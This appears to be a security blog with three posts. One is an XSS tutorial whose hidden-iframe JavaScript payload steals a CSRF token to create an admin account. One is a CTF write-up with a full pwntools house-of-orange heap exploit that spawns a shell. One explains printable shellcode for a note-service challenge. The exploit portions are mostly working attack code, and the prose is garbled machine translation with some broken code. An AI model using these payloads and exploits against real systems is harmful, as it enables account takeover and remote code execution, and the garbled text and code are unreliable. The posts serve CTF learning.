bypassing csrf protection through xss

In this article I want to talk about how to bypass protection against CSRF. This protection method is simple as FIG knows that: the server generates a token, it is put on the page with forms, when the user fills out the form and sends the result to the server, there is a check for the identity of the token that is stored on the server and what came from the user, if they do not match, the request to complete the action is canceled.

In this article I will not write what xss is and what csrf is, if you do not know about these types of vulnerabilities, Google is at your service.

So, there is a certain site, the following files are on the site:

  • index.php – main page with xss vulnerable field
  • newadmin.php – page with the form for creating a new admin
  • compare.php – php code that performs the specified action

index.php :

        <?php if (isset($_POST['stext'])) echo $_POST['stext']; ?x>
        <form action="index.php" name="myform" method="post" >
            <input type="text" name="stext" value="" />
            <input type="submit" name="search" value="to find"/>    

newadmin.php :

            Adding a New Admin
        <form action="compare.php" name="myform" method="post" >
            <input type="text" name="admin_name" value="NICK" />
            <input type="submit" name="preview" value="create"/>
            <input type="hidden" name="token" value="<?php echo $_SESSION['token'];?x>" /> 
<!-- the handler application puts the generated token here !-->

compare.php :

    if (isset($_POST['admin_name'] && isset[$_POST['token']]){ 
        if ($_POST['token']==$_SESSION['token']) // check the token that was sent from the form so that we have on the server
            echo "OK" // There should be instructions for creating an admin
                      // with the name of admin_name            

Now let’s think about XSS. And despite the fact that with the help of JavaScript we can access the source code of the loaded page, as well as perform actions such as submitting a form, etc.

It should also be noted that our XSS is located on the same site, and everything that happens in XSS will be the same as, for example, what is going on for an authorized user who is running this XSS, i.e., XSS works on behalf of the user who launched the user code (the victim ), which means the token “in the eyes” of the code embedded with the help of XSS will be the same as it will be for a careless but authorized user. I hope you understand what I mean. Therefore, if we have XSS, we can load the CSRF protected page with a token into memory, read it, parse it and pull out the token.

To do this, you can use two options

  • Send http headers (referrer, cookies, etc.) to the prepared script, which will send a GET request, read the response, and send the coveted token.
  • Download the page in the iframe and access the object containing the token.

So, as the first option is dregs and a waste of time, we will follow the path of least resistance, that is, we will consider point. So we have XSS in the request:

index.php? stext = "> <script> alert (/ xss /) </script>

We need to implement code that will do what is written in the title of the article.
In order not to be an eyesore, we create a file called js.js and put the code there that will open the newadmin.php page, read the token and pass it to the compare.php script:

document.write('<iframe id="hack" src="newadmin.php" width="0" height="0" onload="doit()"></iframe>');
function doit()
    var name ='NICK';
    var token=document.getElementById("iframe").contentDocument.forms[0].token.value;
    document.write('<form width="0" height="0" method="post" action="compare.php">');
    document.write('<input type="text" name="name" value="' +name +'" /><br />');
    document.write('<input type="hidden" name="token" value="' +token +'" />');
    document.write('<input type="submit" name="submit" value="Add_admin" /><br/>');

In principle, that’s all, now you can contact at

index.php? stext = "> <script src =" js.js "> alert (/ Yess! /) </script>

and get an admin or something else…

Posted in security | Tagged , , | Leave a comment

notes on bookwriter (

Preface that is completely unimportant:

Since the completion of interpreter and shelling folder, i have been self-confident and started to look around for questions. As a result, the banker who solved defcon 2016 qual was immediately hit, and the reverse analysis of static links was troublesome.

Interpreter, shelling folder and banker were all found out from ctf4u. I started thinking about improving my heap ability, so I went to how2heap to find a problem to practice.

0ctf babyheap is very simple, but the search engine in 2015 is more difficult (some should be cuz I did not expect the leak vulnerability, so all use fastbin double free to get), after the sleepy holder is closed, it really still Not enough to solve medium medium?

The topic is not difficult, I feel very much like the sample question of spirited_away, it is suitable for the study of house of spirited (I don’t know if there is any misspelling), but it is about the unfamiliar reason, I still stepped on some pits to solve (the most stupid I always pass the fake chunk header to free, forgetting to pass the chunk data pointer).

Then I solved the alive_note, which is an advanced version of death_note. Two questions are almost the same. I even modified the exploit death_note to change the difference. The difference is that a note can write a limited byte (8 bytes), and this time I can only eat alnum. It’s not easy to get it. The suggestion is to make a read syscall and then write shellcode.


The topic (it seems too much nonsense in front…):

./bookwriter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 2.6.32, BuildID[sha1]=8c3e466870c649d07e84498bb143f1bb5916ae34, stripped
[*] '/home/barbarossa/Desktop/challenge/solve/'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

The bookwriter title is not complicated, he provides several functions: add, modify, observe, print and modify the author’s name.

switch ( read_int() )
      case 1LL:
      case 2LL:
      case 3LL:
      case 4LL:
      case 5LL:
        puts("Invalid choice");

The new part will give you the space of any size of malloc, let you input the data, and finally put the space of malloc into char *book[8], then put the required size into the size array next to the book array.

for ( i = 0; ; ++i )
    if ( i > 8 )
      return puts("You can't add new page anymore!");
    if ( !*&book_shrief[8 * i] )
  printf("Size of page :");
  size = read_int();
  a1 = malloc(size);
  if ( !a1 )
    puts("Error !");
  printf("Content :");
  input(a1, size);
  *&book_shrief[8 * i] = a1;
  size_table[i] = size;

The modified part is to take the pointer according to the book array, size array to take out the size, and finally save the modified size with strlen()

if ( *&book_shrief[8 * v1] )
    input(*&book_shrief[8 * v1], size_table[v1]);
    size_table[v1] = strlen(*&book_shrief[8 * v1]);
    result = puts("Done !");

Observe nothing to say, print out the string pointed by the pointer.

if ( *&book_shrief[8 * v1] )
    printf("Page #%u \n", v1);
    result = printf("Content :\n%s\n", *&book_shrief[8 * v1]);

Print the author’s name… print out the author’s name and ask if you want to change it.

printf("Author : %s\n", byte_602060);
  printf("Page : %u\n", cnt);
  printf("Do you want to change the author ? (yes:1 / no:0) ");
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 )

The more special thing about this topic is that he doesn’t have this function free. In this case, it seems that 87% of the problems related to the heap exploit are not free and actually full of strange.

The loophole is that the newly added function can only add 0~7, but he judged that it is not done, it becomes 0~8, and the size array is close to the book array, so the page 8 will cover the size array. The first element, which is the size of page 0, so you can change the size of page 0 to be oversized, so there is a heap overflow vulnerability when you modify it.

for ( i = 0; ; ++i )
    if ( i > 8 )
      return puts("You can't add new page anymore!");
    if ( !*&book_shrief[8 * i] )

In addition, the last end of the printed author does not add a null byte, you can print the address of page 0, causing the heap address to leak.

__int64 input_author()
  printf("Author :");
  return input(byte_602060, 0x40u);

__int64 __fastcall input(char *a1, unsigned int a2)
  int v3; // [sp+1Ch] [bp-4h]@1

  v3 = _read_chk(0LL, a1, a2, a2);
  if ( v3 < 0 )
    puts("read error");
  if ( a1[v3 - 1] == 10 )
    a1[v3 - 1] = 0;
  return v3;

Since the program does not have the free function, it will not clear the address of the book table, and her new judgment is based on whether the address is 0, so it is reasonable to use it as long as it is full, but based on modifying the function. The method of changing size inside is strlen(), so when you change the page 0, you can write size 0 to 0, and then combine the above vulnerability, and then write the malloc address on size 0, so there is an arbitrary number of times.

I have a bottom when I see this, it is clear that I want to play house of force! Can cover top size + any number of malloc, just change the top chunk to the book array, then malloc one, you can control the book array, and finally write the page pointer above the book array, you can leak + arbitrary memory write.

The above is just thinking about it. It is not feasible to be specific, Cuz I have failed to make the house of force want to change the top chunk address.

The reason for the failure is that after I changed the top chunk size to -1, I want malloc a large chunk to move the top chunk, and the oversized value I want to use a negative number. The value is based on eax, which means that only 4 bytes is transmitted. Under x64, it is not a negative number!

lea     rax, [rbp+nptr]
mov     rdi, rax        ; nptr
call    atol
mov     [rbp+var_24], eax ; <---eax 32bit 0xffffffffdeadbeef -> 0xdeadbeef
mov     eax, [rbp+var_24]
mov     rdx, [rbp+var_8]
xor     rdx, fs:28h
jz      short locret_400938

I am depressed for a long time here, I still think that there is no chance for the old half to pass the negative number into malloc.

After abandoning a few episodes of TV series, I suddenly flashed a flash of light. This topic seems to be a similar topic in the ctf course of a semester. I also have no free and can cover the top chunk size. After orange made free, then use the house of force to write the hook variable.

So I turned to find the solution of the house of orange, it seems to be really feasible after looking at it!

Before the start of the new print, the author is printed, cuz scanf will take the space on the heap as the buffer, causing trouble in the back. More chunks of 0x1010 size are blocked in the inside. If you print it first, you can put 0x1010 at the beginning of the heap. Influence subsequent overflow.

Then add a page with size 0, let the author print to leak the heap address, and size 0 can be written on size 0 when adding page 8.

Add the remaining eight pages, and fill the size 0 with the heap address to change the size of the page 0, use edit to modify the page 0 to let her cover the top chunk all the way, how to cover the house of orange writeup, some inspections should be around However, simply speaking, if the size of the top chunk is 0x20ff0, put her to 0xff0.

Then you need a 0x1000 size page, the original topchunk will be freed, cuz you need to cut the unsorted chunk to malloc a space, so the back should be set so that the heap will not break (but the exploit I actually sent is not set. It’s still possible to exploit later, it’s really inexplicable).

With a chunk in the unsorted bin, I again overflow the page 0, write a bunch of a until the unsorted chunk fd, then view page 7 to leave the libc address, and then again overwrite the blocked chunk header.

After knowing the libc address, the next step is to construct a fake file structure. The same as the page 0, the overflow construct starts. I first construct the vtable, then cover the unsorted chunk, and treat the entire unsorted chunk as the fake file structure. The prev_size is used as the flags and is written as ‘/ Bin/sh\x00’, size is changed to 0x61, this is to prepare for the subsequent exploits, fd casually, bk fill in _IO_list_all – 0x10, after the unsorted bin attack can change the address of _IO_list_all to main The arena stores the address of the top chunk address, and the flag of the fake file structure of the top chunk address is smallbin[4], which is 0x61. The top chunk fake file structure is not specially set, so the check will not pass. Go to the smallbin[4] pointed to by the chain and continue fflush:

When I modified the size, I thought that the size of the chunk could not be tampered. Later I saw the house of orange and found that the size of the chunk could be directly changed. It should be cuz the unsorted bin has only one bin, so the size is String together, and will not be consolidate (should say consolidate will occur before the inset into the unsorted bin), you can safely modify the husband! (if you have to cut the unsorted chunk, you should set it back with peace of mind)

The following write_ptr is greater than write_base, mode is less than or equal to 0 (the reason is still reference to house of orange), and finally in the file + 0xd8 is vtable filled with fake vtable address, and finally a space larger than 0x61 can be unsorted bin attack Change _IO_list_all to point to smallbin[4], and the chunk of 0x61 will also be placed in smallbin[4]. Cuz unsorted bin attack destroys unsorted bin, it will enter abort routine and finally trigger _IO_overflow. To the shell.

After getting this, local lib can easily get the shell. When I switch the lib of the title, it is unsuccessful. Cuz lib has no debug symbol, the whole super-difficult debug, I have to do it several times. After that, you can… and use the house of orange for a few more times…

#!/usr/bin/env python

from pwn import *

#r = remote('', 8888)
r = remote('', 10304)

elf = ELF('./bookwriter')
#libc = ELF('/lib/x86_64-linux-gnu/')
libc = ELF('./')

context.arch = 'amd64'
context.log_level = 'debug'

def author(name):
    r.sendafter('Author :', name)

def add(sz, content):
    r.sendlineafter('choice :', '1')
    r.sendlineafter('page :', str(sz))
    r.sendafter('Content :', content)

def view(idx):
    r.sendlineafter('choice :', '2')
    r.sendlineafter('page :', str(idx))

def edit(idx, content):
    r.sendlineafter('choice :', '3')
    r.sendlineafter('page :', str(idx))
    r.sendafter('Content:', content)

def info(chg=0, name=''):
    r.sendlineafter('choice :', '4')

r.sendlineafter(') ', '0')
add(0, 'acd')
heap = u64(r.recvuntil('\n', drop=True).ljust(8, '\x00'))'heap ' + hex(heap))
r.sendlineafter(') ', '0')
for i in range(8):
    add(0x10, 'acd')
#edit(0, '\x00'*0x10 + flat(0, 0x21, 0x41, 0)*8 + flat(0, 0xed1) + '\x00'*0xec0 + flat(0xed0, 0x20000)) #overwrite top chunk ee1
edit(0, '\x00'*0x10 + flat(0, 0x21, 0x41, 0)*8 + flat(0, 0xed1)) #overwrite top chunk ee1
add(0x1000, 'abcd') #trigger free by sysmalloc

edit(0, 'a'*0x10 + 'a'*0xc0 + 'a'*0x10 + 'a'*0x40) #leak libc address
leak_libc = u64(r.recvn(6).ljust(8, '\x00'))'leak glibc ' + hex(leak_libc))
libc.address = leak_libc - 0x3c3b78'libc base ' + hex(libc.address))
edit(0, '\x00'*0x10 + flat(0, 0x21, 0x41, 0)*8 + flat(0, 0xed1)) #restore
add(0x10, 'a')
payload = p64(0)*3 #vtable address: heap + 0x10
payload += p64(libc.sym['system'])*1
payload += p64(0)*34
payload += '/bin/sh\x00'
payload += p64(0x61)
payload += flat(0xdeadbeef, libc.sym['_IO_list_all'] - 0x10)
payload += flat(0,1)
payload += '\x00'*cyclic_find(0x6161616161616176, n=8)
payload += p64(heap)
edit(0, payload)
r.sendlineafter('choice :', '1')
r.sendlineafter('page :', str(0xa0))


there are many solutions but today it is enough for me (dont blame me).

Posted in security | Tagged , , | Leave a comment

notes on death note (

This question seems to be longer than the last apple store from the first time I saw the title… The impression seems to be the weekend exercise. Then I would not write shellcode at the time. I gave up until now… I think I am more suitable for playing wargame, the time limit of CTF is so tired…

There is nothing to review this question, even if I have had it for a long time, I forgot.

The problem is not long, the loopholes are obvious (I always think that the vulnerability is significantly related to the amount of code in the title…), but the card is not written in the alphanumeric shellcode (it should be said that the original shellcode I wrote is not what it is.)

At that time, I was on the net to find out if there was a shellcode available for use. I found a few impressions, but it was not too long to conform to the problem environment.

I recently made a report to tell the shellcode to see tutorials. After the understanding of the temperament, I found that it was not so difficult.

The topic information is as follows:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

A short menu title with add show delete function:

int add_note()
  int v1; // [sp+8h] [bp-60h]@1
  char s; // [sp+Ch] [bp-5Ch]@4
  int v3; // [sp+5Ch] [bp-Ch]@1

  v3 = *MK_FP(__GS__, 20);
  printf("Index :");
  v1 = read_int();
  if ( v1 > 10 )
    puts("Out of bound !!");
  printf("Name :");
  read_input(&s, 0x50u);
  if ( !is_printable(&s) )
    puts("It must be a printable name !");
  *(&note + v1) = strdup(&s); //vulnerability!!
  puts("Done !");
  return *MK_FP(__GS__, 20) ^ v3;

int del_note()
  int result; // eax@4
  int v1; // [sp+Ch] [bp-Ch]@1

  printf("Index :");
  v1 = read_int();
  if ( v1 > 10 )
    puts("Out of bound !!");
  free(*(&note + v1));
  result = v1;
  *(&note + v1) = 0;
  return result;

int show_note()
  int result; // eax@4
  int v1; // [sp+Tr] [bp-Ch]@1

  printf("Index :");
  v1 = read_int();
  if ( v1 > 10 )
    puts("Out of bound !!");
  result = (int)*(&note + v1);
  if ( result )
    result = printf("Name : %s\n", *(&note + v1));
  return result;

The location of the vulnerability is calculated, no matter what function, you have to enter the index where there are cross-border read and write vulnerabilities, plus the address of the notes on the bss, through the index of the cross-border vulnerability can cover the libc address on the got, let It points to the heap, and the program does not have NX, so you can directly write shellcode to jump over the execution.

I’ve found it very well here, I’ve seen it before, and the trouble is the alphanumeric shellcode behind.

Alphanumeric shellcode, as the name suggests, simply writes shellcode with A~Za~z0~9, but this question is not alphanumeric shellcode, it should be called Printable shellcode, cuz other ascii visual characters can also be used, so there is more than pure alphanumeric shellcode. Less things can be used, I have some useful printable byte to create shellcode.

Here is the function that he judges whether it is printable, after the result of ida decompile.

int __cdecl is_printable(char *s)
  size_t i; // [sp+Ch] [bp-Ch]@1

  for ( i = 0; strlen(s) > i; ++i )
    if ( s[i] <= 31 || s[i] == 127 )
      return 0;
  return 1;

Here IDA will translate the error, the judgment part should be:

if(s[i] < 0x20 || s[i] > 0x7e)

I have been stuck here for a while…

Writing a printable shellcode target is similar to writing a generic shellcode. It is to create a syscall open shell similar to execve(“/bin/sh\x00”).

There are a few problems here, I will list them one by one:

1. cd 80 is not a visual character: the most important int 0x80 calling syscall cannot be written directly in the shellcode.
2. Be sure to have “/bin/sh”: execve syscall The first parameter must be the absolute address of sh, if you give him “sh” he can’t run
3. Get the address of the shellcode: This question is extended by the first question, and so on (should).

First of all, the first question, how to put cd80 into the shellcode? There must be a technique here. Sean is called self-modification (self-modifying itself), that is, first put some visual characters, then modify the visual characters placed by the instruction, and change it to cd80.

Commonly used instructions are (and many more):

xor    BYTE PTR [ecx+0x31],al
xor    al, 0x30
xor    eax, 0x40414243

These instructions are all usable in alphanumeric, and if it’s a looser printable shellcode, there’s no other way to use it.

Usage is to put the shellcode address on ecx, by modifying the offset in [ ] to do the xor modification after the bytes are changed to cd80, usually cd80 is the most difficult to create (to self-modification), so it is recommended to write cd80.

Of course, the premise here is that ecx is the address on the shellcode, which leads to the third question: how to get the shellcode address. My current practice is to use the call function to push the heap address to the stack. I will first offset it to the shellcode and then pop it to ecx.

Another way is to use ret to shellcode, first use dec esp four times, cuz ret == pop eip, although it is Pop but only assigns to register and esp plus four, then it will not disappear, so through This method can get esp back to the return address, and finally pop to ecx.

Finally /bin/sh problem, originally I wanted to use the /bin/sh address of Leak libc, but after thinking about it, the question did not give glibc, if the version is wrong, it should be miserable, so it should not rely on lean.

Later, I found that the actual function with got hijack is to change the function whose first parameter or parameter value can be controlled to the shellcode address. When the function is executed, there will be /bin/sh address on the stack (the parameter will be pushed to stack), then pop him to the register you want.

If the value to be set is not within the printable range, consider using the value pop on the stack to register the xor of the register and calculate the desired value.

In fact, after understanding the principle, alphanumeric shellcode is not so difficult, and limiting 80 bytes is more than enough, I use very not elegant writing and half of the space is not used.

Here I have attached the printable opcode and its scripts. Some opcodes can modify some values. As long as the bytes are printable, they can be used.

#!/usr/bin/env python

from pwn import *

#for i in string.letters + string.digits:
for i in range(0x20, 0x7e, 1):
    print chr(i), disasm(chr(i) + 'ABCDEFG').split('\n')[0][6:]
    20 41 42                and    BYTE PTR [ecx+0x42],al
!   21 41 42                and    DWORD PTR [ecx+0x42],eax
"   22 41 42                and    al,BYTE PTR [ecx+0x42]
#   23 41 42                and    eax,DWORD PTR [ecx+0x42]
$   24 41                   and    al,0x41
%   25 41 42 43 44          and    eax,0x44434241
&   26 41                   es inc ecx
'   27                      daa    
(   28 41 42                sub    BYTE PTR [ecx+0x42],al
)   29 41 42                sub    DWORD PTR [ecx+0x42],eax
*   2a 41 42                sub    al,BYTE PTR [ecx+0x42]
+   2b 41 42                sub    eax,DWORD PTR [ecx+0x42]
,   2c 41                   sub    al,0x41
-   2d 41 42 43 44          sub    eax,0x44434241
.   2e 41                   cs inc ecx
/   2f                      das    
0   30 41 42                xor    BYTE PTR [ecx+0x42],al
1   31 41 42                xor    DWORD PTR [ecx+0x42],eax
2   32 41 42                xor    al,BYTE PTR [ecx+0x42]
3   33 41 42                xor    eax,DWORD PTR [ecx+0x42]
4   34 41                   xor    al,0x41
5   35 41 42 43 44          xor    eax,0x44434241
6   36 41                   ss inc ecx
7   37                      aaa    
8   38 41 42                cmp    BYTE PTR [ecx+0x42],al
9   39 41 42                cmp    DWORD PTR [ecx+0x42],eax
:   3a 41 42                cmp    al,BYTE PTR [ecx+0x42]
;   3b 41 42                cmp    eax,DWORD PTR [ecx+0x42]
<   3c 41                   cmp    al,0x41
=   3d 41 42 43 44          cmp    eax,0x44434241
>   3e 41                   ds inc ecx
?   3f                      aas    
@   40                      inc    eax
A   41                      inc    ecx
B   42                      inc    edx
C   43                      inc    ebx
D   44                      inc    esp
E   45                      inc    ebp
F   46                      inc    esi
G   47                      inc    edi
H   48                      dec    eax
I   49                      dec    ecx
J   4a                      dec    edx
K   4b                      dec    ebx
L   4c                      dec    esp
M   4d                      dec    ebp
N   4e                      dec    esi
O   4f                      dec    edi
P   50                      push   eax
Q   51                      push   ecx
R   52                      push   edx
S   53                      push   ebx
T   54                      push   esp
U   55                      push   ebp
V   56                      push   esi
W   57                      push   edi
X   58                      pop    eax
Y   59                      pop    ecx
Z   5a                      pop    edx
[   5b                      pop    ebx
\   5c                      pop    esp
]   5d                      pop    ebp
^   5e                      pop    esi
_   5f                      pop    edi
`   60                      pusha  
a   61                      popa   
b   62 41 42                bound  eax,QWORD PTR [ecx+0x42]
c   63 41 42                arpl   WORD PTR [ecx+0x42],ax
d   64 41                   fs inc ecx
e   65 41                   gs inc ecx
f   66 41                   inc    cx
g   67 41                   addr16 inc ecx
h   68 41 42 43 44          push   0x44434241
i   69 41 42 43 44 45 46    imul   eax,DWORD PTR [ecx+0x42],0x46454443
j   6a 41                   push   0x41
k   6b 41 42 43             imul   eax,DWORD PTR [ecx+0x42],0x43
l   6c                      ins    BYTE PTR es:[edi],dx
m   6d                      ins    DWORD PTR es:[edi],dx
n   6e                      outs   dx,BYTE PTR ds:[esi]
o   6f                      outs   dx,DWORD PTR ds:[esi]
p   70 41                   jo     0x43
q   71 41                   jno    0x43
r   72 41                   jb     0x43
s   73 41                   jae    0x43
t   74 41                   je     0x43
u   75 41                   jne    0x43
v   76 41                   jbe    0x43
w   77 41                   ja     0x43
x   78 41                   js     0x43
y   79 41                   jns    0x43
z   7a 41                   jp     0x43
{   7b 41                   jnp    0x43
|   7c 41                   jl     0x43
}   7d 41                   jge    0x43

Finally, my ugly writeup ended. I must study well, it should be more elegant.

Posted in security | Tagged , , | Leave a comment